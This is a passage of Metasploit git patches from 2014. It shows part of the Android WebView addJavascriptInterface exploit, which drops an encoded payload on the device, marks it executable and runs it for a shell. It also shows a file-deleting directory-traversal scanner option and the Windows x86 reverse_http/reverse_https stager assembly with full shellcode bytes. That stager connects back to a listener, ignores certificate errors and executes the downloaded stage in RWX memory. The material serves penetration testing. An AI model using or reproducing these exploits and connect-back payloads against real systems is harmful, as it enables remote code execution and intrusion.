catch(e) { return; } + try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } // get the runtime so we can exec var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); From bbabd72b0e378d80989bd1d05479f4e2e2c4fc59 Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 02:52:52 -0600 Subject: [PATCH 172/246] Whitespace tweaks. --- .../android/browser/webview_addjavascriptinterface.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index dd11132c36..714901332c 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -87,15 +87,15 @@ class Metasploit3 < Msf::Exploit::Remote var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; // get the process name, which will give us our data path - var p = m.invoke(null,null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); + var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); var ch, path = '/data/data/'; while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } path += '/#{Rex::Text.rand_text_alpha(8)}'; // build the binary, chmod it, and execute it - m.invoke(null,null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); - m.invoke(null,null).exec(['chmod', '700', path]).waitFor(); - m.invoke(null,null).exec([path]); + m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); + m.invoke(null, null).exec(['chmod', '700', path]).waitFor(); + m.invoke(null, null).exec([path]); return true; } From 700e09f386d14a143827d66b81363430cb33cc45 Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 02:55:10 -0600 Subject: [PATCH 173/246] Wording tweak. --- .../exploits/android/browser/webview_addjavascriptinterface.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 714901332c..372224d81a 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. - If you can MITM the WebView's network connection, or can get a persistent XSS + If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. From cc09367c6279c5476d788b7a21d31596006a1e84 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 4 Feb 2014 07:28:14 -0600 Subject: [PATCH 174/246] Change the datastore name option --- .../scanner/http/a10networks_ax_directory_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index f12c77acc3..56c9ca5a16 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -43,12 +43,12 @@ class Metasploit3 < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]), - OptBool.new('CONFIRM', [true, 'Run the module, even when it will delete files', false]), + OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]), ], self.class) end def run - unless datastore['CONFIRM'] + unless datastore['CONFIRM_DELETE'] print_error("This module will delete files on vulnerable systems. Please, set CONFIRM in order to run it.") return end From 9c3664bd453141abe50087b9ae9f5f56447aa90c Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 4 Feb 2014 09:09:12 -0600 Subject: [PATCH 175/246] Unify reverse_http and reverse_https This will make copy-pasta less painful in the future. There's still the problem of reverse_https_proxy being very similar, but the logic in how it gets generated in the module is more than i want to tackle right now --- .../x86/src/block/block_reverse_http.asm | 99 +++++++---- .../x86/src/block/block_reverse_https.asm | 155 ------------------ .../x86/src/stager/stager_reverse_https.asm | 35 ++-- .../payloads/stagers/windows/reverse_http.rb | 31 ++-- .../payloads/stagers/windows/reverse_https.rb | 33 ++-- 5 files changed, 115 insertions(+), 238 deletions(-) delete mode 100644 external/source/shellcode/windows/x86/src/block/block_reverse_https.asm diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 35233b7769..3d6cb2c1c0 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -6,6 +6,25 @@ ;-----------------------------------------------------------------------------; [BITS 32] +%ifdef ENABLE_SSL +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID +%else +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 ; INTERNET_FLAG_NO_UI +%endif + ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -16,24 +35,23 @@ load_wininet: push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) + xor ebx,ebx + internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp internetconnect: - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags + push ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username + push ebx ; password (NULL) + push ebx ; username (NULL) push dword 4444 ; PORT jmp short dbl_get_server_host ; push pointer to HOSTNAME got_server_host: @@ -42,35 +60,49 @@ got_server_host: call ebp httpopenrequest: - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 | ; INTERNET_FLAG_NO_UI - ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - push edx ; accept types - push edx ; referrer - push edx ; version + push ebx ; dwContext (NULL) + push HTTP_OPEN_FLAGS ; dwFlags + push ebx ; accept types + push ebx ; referrer + push ebx ; version jmp get_server_uri ; push pointer to url got_server_uri: - push edx ; method + push ebx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - xchg esi, eax ; hHttpRequest in esi + xchg esi, eax ; save hHttpRequest in esi set_retry: push byte 0x10 pop ecx +send_request: + +%ifdef ENABLE_SSL +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push byte 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + +%endif + httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers + push ebx ; lpOptional length (0) + push ebx ; lpOptional (NULL) + push ebx ; dwHeadersLength (0) + push ebx ; lpszHeaders (NULL) push esi ; hHttpRequest push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp @@ -78,9 +110,10 @@ httpsendrequest: jnz short allocate_memory try_it_again: - loopnz httpsendrequest + loopnz send_request -; fall through to failure +; if we didn't allocate before running out of retries, fall through to +; failure failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size @@ -99,7 +132,7 @@ allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push ebx ; NULL as we dont care where the allocation is push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm deleted file mode 100644 index 6d8938164c..0000000000 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ /dev/null @@ -1,155 +0,0 @@ -;-----------------------------------------------------------------------------; -; Author: HD Moore -; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 -; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) -; Version: 1.0 -;-----------------------------------------------------------------------------; -[BITS 32] - -; Input: EBP must be the address of 'api_call'. -; Output: EDI will be the socket for the connection to the server -; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - -internetconnect: - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push dword 4444 ; PORT - jmp short dbl_get_server_host ; push pointer to HOSTNAME -got_server_host: - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - -httpopenrequest: - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00000200 ; INTERNET_FLAG_NO_UI - push edx ; accept types - push edx ; referrer - push edx ; version - jmp get_server_uri ; push pointer to url -got_server_uri: - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - xchg esi, eax ; hHttpRequest in esi - -set_retry: - push byte 0x10 - pop ecx - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION - mov eax, esp - push byte 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hHttpRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz short allocate_memory - -try_it_again: - loopnz set_security_options - -; fall through to failure - -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call got_server_uri - -server_uri: - db "/12345", 0x00 - -allocate_memory: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - -download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead - -download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz failure - - mov eax, [edi] - add ebx, eax ; buffer += bytes_received - - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage - -execute_stage: - ret ; dive into the stored stage address - -get_server_host: - call got_server_host - -server_host: - diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm index 061290001a..e73a0231ae 100644 --- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm @@ -1,19 +1,20 @@ -;-----------------------------------------------------------------------------; -; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 -; Version: 1.0 (24 July 2009) -; Size: 274 bytes -; Build: >build.py stager_reverse_tcp_nx -;-----------------------------------------------------------------------------; - -[BITS 32] -[ORG 0] - - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. -%include "./src/block/block_api.asm" -start: ; - pop ebp ; pop off the address of 'api_call' for calling later. -%include "./src/block/block_reverse_https.asm" +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Size: 274 bytes +; Build: >build.py stager_reverse_tcp_nx +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%define ENABLE_SSL 1 +%include "./src/block/block_reverse_http.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index f04f34bfcf..dc2095c32d 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -29,15 +29,15 @@ module Metasploit3 { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 184, 'v' ], # Not a typo, really little endian + 'LPORT' => [ 180, 'v' ], # Not a typo, really little endian }, 'Payload' => - # Built on Mon Jan 27 11:38:26 2014 + # Built on Tue Feb 4 09:05:59 2014 # Name: stager_reverse_http - # Length: 324 bytes - # LEPort Offset: 184 - # ExitFunk Offset: 245 + # Length: 316 bytes + # LEPort Offset: 180 + # ExitFunk Offset: 237 "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + @@ -48,17 +48,16 @@ module Metasploit3 "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - "\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7\xFF\xD5\x31" + - "\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\xEB\x3D\x50\x68" + - "\x57\x89\x9F\xC6\xFF\xD5\x31\xD2\x52\x68\x00\x02\x60\x84\x52\x52" + - "\x52\xEB\x2A\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59" + - "\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0" + - "\x75\x17\xE0\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xD1\xFF" + - "\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00" + - "\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53" + - "\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF" + - "\xD5\x85\xC0\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8" + - "\x7A\xFF\xFF\xFF" + "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + + "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x39\x50\x68\x57\x89\x9F\xC6" + + "\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x28\x53\x50\x68" + + "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59\x53\x53\x53\x53\x56\x68" + + "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x17\xE0\xEE\x68\xF0\xB5\xA2" + + "\x56\xFF\xD5\xEB\x42\xE8\xD3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" + + "\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58" + + "\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00" + + "\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07\x01" + + "\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7E\xFF\xFF\xFF" } )) diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 14ee7420db..ae8312b43c 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -29,15 +29,15 @@ module Metasploit3 { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 184, 'v' ], # Not a typo, really little endian + 'LPORT' => [ 180, 'v' ], # Not a typo, really little endian }, 'Payload' => - # Built on Mon Jan 27 11:25:25 2014 + # Built on Tue Feb 4 09:05:59 2014 # Name: stager_reverse_https - # Length: 344 bytes - # LEPort Offset: 184 - # ExitFunk Offset: 265 + # Length: 336 bytes + # LEPort Offset: 180 + # ExitFunk Offset: 257 "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + @@ -48,18 +48,17 @@ module Metasploit3 "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - "\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7\xFF\xD5\x31" + - "\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\xEB\x51\x50\x68" + - "\x57\x89\x9F\xC6\xFF\xD5\x31\xD2\x52\x68\x00\x32\xA0\x84\x52\x52" + - "\x52\xEB\x3E\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59" + - "\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46" + - "\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B" + - "\xFF\xD5\x85\xC0\x75\x17\xE0\xD8\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB" + - "\x42\xE8\xBD\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x6A\x40\x68" + - "\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF" + - "\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12" + - "\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75" + - "\xE5\x58\xC3\xE8\x66\xFF\xFF\xFF" + "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + + "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4D\x50\x68\x57\x89\x9F\xC6" + + "\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3C\x53\x50\x68" + + "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59\x68\x80\x33\x00\x00\x89" + + "\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x53\x53" + + "\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x17\xE0\xDA" + + "\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBF\xFF\xFF\xFF\x2F\x31" + + "\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" + + "\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68" + + "\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74" + + "\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x6A\xFF\xFF\xFF" } )) From c70680cf1cd2ab43f4cd7f0d33fe7341eacd6322 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 4 Feb 2014 11:59:16 -0600 Subject: [PATCH 176/246] Fix infinite-retry bug Derp, block_api clobbers ecx --- .../x86/src/block/block_reverse_http.asm | 5 ++-- .../payloads/stagers/windows/reverse_http.rb | 25 ++++++++++--------- .../payloads/stagers/windows/reverse_https.rb | 25 ++++++++++--------- 3 files changed, 29 insertions(+), 26 deletions(-) diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 3d6cb2c1c0..20c4f643e6 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -75,7 +75,7 @@ got_server_uri: set_retry: push byte 0x10 - pop ecx + pop edi send_request: @@ -110,7 +110,8 @@ httpsendrequest: jnz short allocate_memory try_it_again: - loopnz send_request + dec edi + jnz send_request ; if we didn't allocate before running out of retries, fall through to ; failure diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index dc2095c32d..505f889864 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -33,11 +33,11 @@ module Metasploit3 }, 'Payload' => - # Built on Tue Feb 4 09:05:59 2014 + # Built on Tue Feb 4 11:36:42 2014 # Name: stager_reverse_http - # Length: 316 bytes + # Length: 317 bytes # LEPort Offset: 180 - # ExitFunk Offset: 237 + # ExitFunk Offset: 238 "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + @@ -49,15 +49,16 @@ module Metasploit3 "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x39\x50\x68\x57\x89\x9F\xC6" + - "\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x28\x53\x50\x68" + - "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59\x53\x53\x53\x53\x56\x68" + - "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x17\xE0\xEE\x68\xF0\xB5\xA2" + - "\x56\xFF\xD5\xEB\x42\xE8\xD3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" + - "\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58" + - "\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00" + - "\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07\x01" + - "\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7E\xFF\xFF\xFF" + "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x3A\x50\x68\x57\x89\x9F\xC6" + + "\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x29\x53\x50\x68" + + "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x53\x53\x53\x53\x56\x68" + + "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75\xED\x68\xF0\xB5" + + "\xA2\x56\xFF\xD5\xEB\x42\xE8\xD2\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + + "\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68" + + "\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00" + + "\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07" + + "\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7D\xFF\xFF\xFF" + } )) diff --git 